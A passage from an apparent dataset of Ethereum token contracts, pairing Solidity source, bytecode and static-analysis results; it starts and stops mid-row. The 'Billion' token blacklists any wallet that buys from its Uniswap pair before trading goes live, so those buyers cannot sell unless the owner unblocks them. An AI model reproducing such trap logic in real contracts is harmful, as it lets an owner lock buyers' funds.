} | 0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b411461025e578063a457c2d714610273578063a9059cbb14610293578063dd62ed3e146102b3576100f3565b806342966c68146101f457806370a082311461021657806376c11b941461023657806379cc67901461023e576100f3565b806323b872dd116100c657806323b872dd146101725780632f54bf6e14610192578063313ce567146101b257806339509351146101d4576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610150576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6102d3565b60405161011a9190610d84565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610cb4565b610365565b60405161011a9190610d79565b34801561015c57600080fd5b5061016561037b565b60405161011a9190610f5d565b34801561017e57600080fd5b5061014361018d366004610c74565b610381565b34801561019e57600080fd5b506101436101ad366004610c04565b6103ea565b3480156101be57600080fd5b506101c76103fe565b60405161011a9190610f66565b3480156101e057600080fd5b506101436101ef366004610cb4565b610407565b34801561020057600080fd5b5061021461020f366004610cdf565b61043d565b005b34801561022257600080fd5b50610165610231366004610c04565b61044a565b610214610465565b34801561024a57600080fd5b50610214610259366004610cb4565b6106de565b34801561026a57600080fd5b5061010d61072a565b34801561027f57600080fd5b5061014361028e366004610cb4565b610739565b34801561029f57600080fd5b506101436102ae366004610cb4565b610788565b3480156102bf57600080fd5b506101656102ce366004610c3c565b610795565b6060600480546102e290610fe2565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610fe2565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b5050505050905090565b6000610372338484610839565b50600192915050565b60025490565b600061038e8484846108ed565b6103e084336103db85604051806060016040528060288152602001611091602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906107ff565b610839565b5060019392505050565b6009546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103729185906103db90866107c0565b6104473382610ae0565b50565b6001600160a01b031660009081526020819052604090205490565b61046e336103ea565b61047757600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105029190610c20565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054a57600080fd5b505afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190610c20565b6040518363ffffffff1660e01b815260040161059f929190610d24565b602060405180830381600087803b1580156105b957600080fd5b505af11580156105cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f19190610c20565b600860006101000a8154816001600160a01b0302191690836001600160a01b031602179055506106243082600354610839565b806001600160a01b031663f305d7193430606460035460326106469190610fac565b6106509190610f8c565b6009546040516001600160e01b031960e087901b16815261068693929160009182916001600160a01b0316904290600401610d3e565b6060604051808303818588803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d89190610cf7565b50505050565b600061070e826040518060600160405280602481526020016110b9602491396107078633610795565b91906107ff565b905061071b833383610839565b6107258383610ae0565b505050565b6060600580546102e290610fe2565b600061037233846103db856040518060600160405280602581526020016110dd602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906107ff565b60006103723384846108ed565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000806107cd8385610f74565b9050838110156107f85760405162461bcd60e51b81526004016107ef90610e5c565b60405180910390fd5b9392505050565b600081848411156108235760405162461bcd60e51b81526004016107ef9190610d84565b5060006108308486610fcb565b95945050505050565b6001600160a01b03831661085f5760405162461bcd60e51b81526004016107ef90610f19565b6001600160a01b0382166108855760405162461bcd60e51b81526004016107ef90610e1a565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108e0908590610f5d565b60405180910390a3505050565b6001600160a01b0383166109135760405162461bcd60e51b81526004016107ef90610ed4565b6001600160a01b0382166109395760405162461bcd60e51b81526004016107ef90610dd7565b610944838383610725565b6109818160405180606001604052806026815260200161106b602691396001600160a01b03861660009081526020819052604090205491906107ff565b6001600160a01b038085166000818152602081905260409020929092556009541614806109b657506001600160a01b03831630145b806109c957506001600160a01b03821630145b15610a50576001600160a01b0382166000908152602081905260409020546109f190826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a43908590610f5d565b60405180910390a3610725565b6008546001600160a01b0383811691161415610a6b57610725565b6001600160a01b038216600090815260208190526040902054610a8e90826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e0908590610f5d565b6001600160a01b038216610b065760405162461bcd60e51b81526004016107ef90610e93565b610b1282600083610725565b610b4f81604051806060016040528060228152602001611049602291396001600160a01b03851660009081526020819052604090205491906107ff565b6001600160a01b038316600090815260208190526040902055600254610b759082610bc2565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb6908590610f5d565b60405180910390a35050565b60006107f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107ff565b600060208284031215610c15578081fd5b81356107f881611033565b600060208284031215610c31578081fd5b81516107f881611033565b60008060408385031215610c4e578081fd5b8235610c5981611033565b91506020830135610c6981611033565b809150509250929050565b600080600060608486031215610c88578081fd5b8335610c9381611033565b92506020840135610ca381611033565b929592945050506040919091013590565b60008060408385031215610cc6578182fd5b8235610cd181611033565b946020939093013593505050565b600060208284031215610cf0578081fd5b5035919050565b600080600060608486031215610d0b578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015610db057858101830151858201604001528201610d94565b81811115610dc15783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8757610f8761101d565b500190565b600082610fa757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610fc657610fc661101d565b500290565b600082821015610fdd57610fdd61101d565b500390565b600281046001821680610ff657607f821691505b6020821081141561101757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461044757600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205902b2ea73ac256da9a5155dd9a856aeae3effac8fdf795de1c453bc14f8a96e64736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,330 |
0xd53c1c1bf402256e6ffcefd60c3f0ae1d182670b | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor (){
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Billion is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 private _totalSupply = 1 * 1e9 * 1e18;
string private _name = 'Billion';
string private _symbol = 'BB';
uint8 private _decimals = 18;
mapping(address => uint256) public _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public blacklist;
uint256 public _maxTxLimit = 1 * 1e7 * 1e18;
bool public _live = false;
constructor () {
_balances[_msgSender()] = _totalSupply;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) public {
require(amount > 0, "ERC20: burn amount must be greater than zero");
_totalSupply = _totalSupply.sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].sub(amount);
emit Transfer(_msgSender(), address(0x0), amount);
}
function burnFrom(address account, uint256 amount) public {
require(amount > 0, "ERC20: burn amount must be greater than zero");
require(_allowances[account][_msgSender()] >= amount, "ERC20: burn amount must be greater than allowance");
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount));
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0x0), amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxLimit, "ERC20: amount exceeds the max tx limit.");
if(from != uniswapV2Pair)
require(!blacklist[from] && !blacklist[to], 'ERC20: the transaction was blocked.');
if(from == uniswapV2Pair && !_live)
blacklist[to] = true;
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function updateLive() external {
if(!_live) {
_live = true;
}
}
function unblockWallet(address account) public onlyOwner {
blacklist[account] = false;
}
function updateMaxLimit(uint256 maxTxLimit) public onlyOwner {
require(maxTxLimit >= 1e4 * 1e18, 'ERC20: max tx limit should be greater than 1e22');
_maxTxLimit = maxTxLimit;
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636ebcf607116100b857806395d89b411161007c57806395d89b41146102bd578063a9059cbb146102c5578063dd62ed3e146102d8578063f8f3c5a914610311578063f9f92be41461031a578063fd2dbb0e1461033d57600080fd5b80636ebcf6071461024857806370a0823114610268578063715018a61461029157806379cc6790146102995780638da5cb5b146102ac57600080fd5b806323b872dd1161010a57806323b872dd146101da57806329144bdb146101ed578063313ce5671461020057806342966c681461021557806349bd5a5e1461022857806356e0ec721461023b57600080fd5b806306fdde0314610147578063095ea7b3146101655780631694505e1461018857806318160ddd146101b35780631c8e1179146101c5575b600080fd5b61014f610345565b60405161015c9190610e4e565b60405180910390f35b610178610173366004610e0b565b6103d7565b604051901515815260200161015c565b60025461019b906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b6004545b60405190815260200161015c565b6101d86101d3366004610d81565b6103ed565b005b6101786101e8366004610dcf565b610441565b6101d86101fb366004610e35565b6104aa565b60075460405160ff909116815260200161015c565b6101d8610223366004610e35565b61054b565b60035461019b906001600160a01b031681565b600c546101789060ff1681565b6101b7610256366004610d81565b60086020526000908152604090205481565b6101b7610276366004610d81565b6001600160a01b031660009081526008602052604090205490565b6101d86105f0565b6101d86102a7366004610e0b565b610664565b6000546001600160a01b031661019b565b61014f6107c8565b6101786102d3366004610e0b565b6107d7565b6101b76102e6366004610d9c565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6101b7600b5481565b610178610328366004610d81565b600a6020526000908152604090205460ff1681565b6101d86107e4565b60606005805461035490610f53565b80601f016020809104026020016040519081016040528092919081815260200182805461038090610f53565b80156103cd5780601f106103a2576101008083540402835291602001916103cd565b820191906000526020600020905b8154815290600101906020018083116103b057829003601f168201915b5050505050905090565b60006103e43384846107fe565b50600192915050565b6000546001600160a01b031633146104205760405162461bcd60e51b815260040161041790610eef565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600061044e848484610923565b6104a0843361049b85604051806060016040528060288152602001610fa5602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610c83565b6107fe565b5060019392505050565b6000546001600160a01b031633146104d45760405162461bcd60e51b815260040161041790610eef565b69021e19e0c9bab24000008110156105465760405162461bcd60e51b815260206004820152602f60248201527f45524332303a206d6178207478206c696d69742073686f756c6420626520677260448201526e32b0ba32b9103a3430b71018b2991960891b6064820152608401610417565b600b55565b6000811161056b5760405162461bcd60e51b815260040161041790610ea3565b6004546105789082610cbd565b6004556105a58160086000335b6001600160a01b0316815260208101919091526040016000205490610cbd565b33600081815260086020908152604080832094909455925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161041790610eef565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600081116106845760405162461bcd60e51b815260040161041790610ea3565b6001600160a01b03821660009081526009602090815260408083203384529091529020548111156107115760405162461bcd60e51b815260206004820152603160248201527f45524332303a206275726e20616d6f756e74206d7573742062652067726561746044820152706572207468616e20616c6c6f77616e636560781b6064820152608401610417565b61073b82336001600160a01b038516600090815260096020526040812061049b9186919033610585565b6004546107489082610cbd565b6004556001600160a01b03821660009081526008602052604090205461076e9082610cbd565b6001600160a01b0383166000818152600860205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bc9085815260200190565b60405180910390a35050565b60606006805461035490610f53565b60006103e4338484610923565b600c5460ff166107fc57600c805460ff191660011790555b565b6001600160a01b0383166108605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610417565b6001600160a01b0382166108c15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610417565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610417565b6001600160a01b0382166109e95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610417565b60008111610a525760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610417565b6000546001600160a01b03848116911614801590610a7e57506000546001600160a01b03838116911614155b15610bdd57600b54811115610ae55760405162461bcd60e51b815260206004820152602760248201527f45524332303a20616d6f756e74206578636565647320746865206d6178207478604482015266103634b6b4ba1760c91b6064820152608401610417565b6003546001600160a01b03848116911614610b94576001600160a01b0383166000908152600a602052604090205460ff16158015610b3c57506001600160a01b0382166000908152600a602052604090205460ff16155b610b945760405162461bcd60e51b815260206004820152602360248201527f45524332303a20746865207472616e73616374696f6e2077617320626c6f636b60448201526232b21760e91b6064820152608401610417565b6003546001600160a01b038481169116148015610bb45750600c5460ff16155b15610bdd576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b6001600160a01b038316600090815260086020526040902054610c009082610cbd565b6001600160a01b038085166000908152600860205260408082209390935590841681522054610c2f9082610d06565b6001600160a01b0380841660008181526008602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109169085815260200190565b60008184841115610ca75760405162461bcd60e51b81526004016104179190610e4e565b506000610cb48486610f3c565b95945050505050565b6000610cff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c83565b9392505050565b600080610d138385610f24565b905083811015610cff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610417565b80356001600160a01b0381168114610d7c57600080fd5b919050565b600060208284031215610d9357600080fd5b610cff82610d65565b60008060408385031215610daf57600080fd5b610db883610d65565b9150610dc660208401610d65565b90509250929050565b600080600060608486031215610de457600080fd5b610ded84610d65565b9250610dfb60208501610d65565b9150604084013590509250925092565b60008060408385031215610e1e57600080fd5b610e2783610d65565b946020939093013593505050565b600060208284031215610e4757600080fd5b5035919050565b600060208083528351808285015260005b81811015610e7b57858101830151858201604001528201610e5f565b81811115610e8d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252602c908201527f45524332303a206275726e20616d6f756e74206d75737420626520677265617460408201526b6572207468616e207a65726f60a01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610f3757610f37610f8e565b500190565b600082821015610f4e57610f4e610f8e565b500390565b600181811c90821680610f6757607f821691505b60208210811415610f8857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220681886578dd92503bc5245de2814f8eab2b5ca7b514f9a5d396c22270f4407b564736f6c63430008060033 | {"success": true, "error": null, "results": {}} | 10,331 |
0xe4dcfd4de1bf3c533a3e89eddbc757d6ca4746f6 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owner = 0x43FA53A580675852A54fa292577357a9522A2456;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RESQ is Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private Rate = 100000;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = 'Rescue Mission Finance Token';
_symbol = 'RESQ';
_totalSupply= 250000000 *(10**decimals());
_balances[owner()]=_totalSupply;
emit Transfer(address(0),owner(),_totalSupply);
}
/**
* @dev Returns the name of the token.
*
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
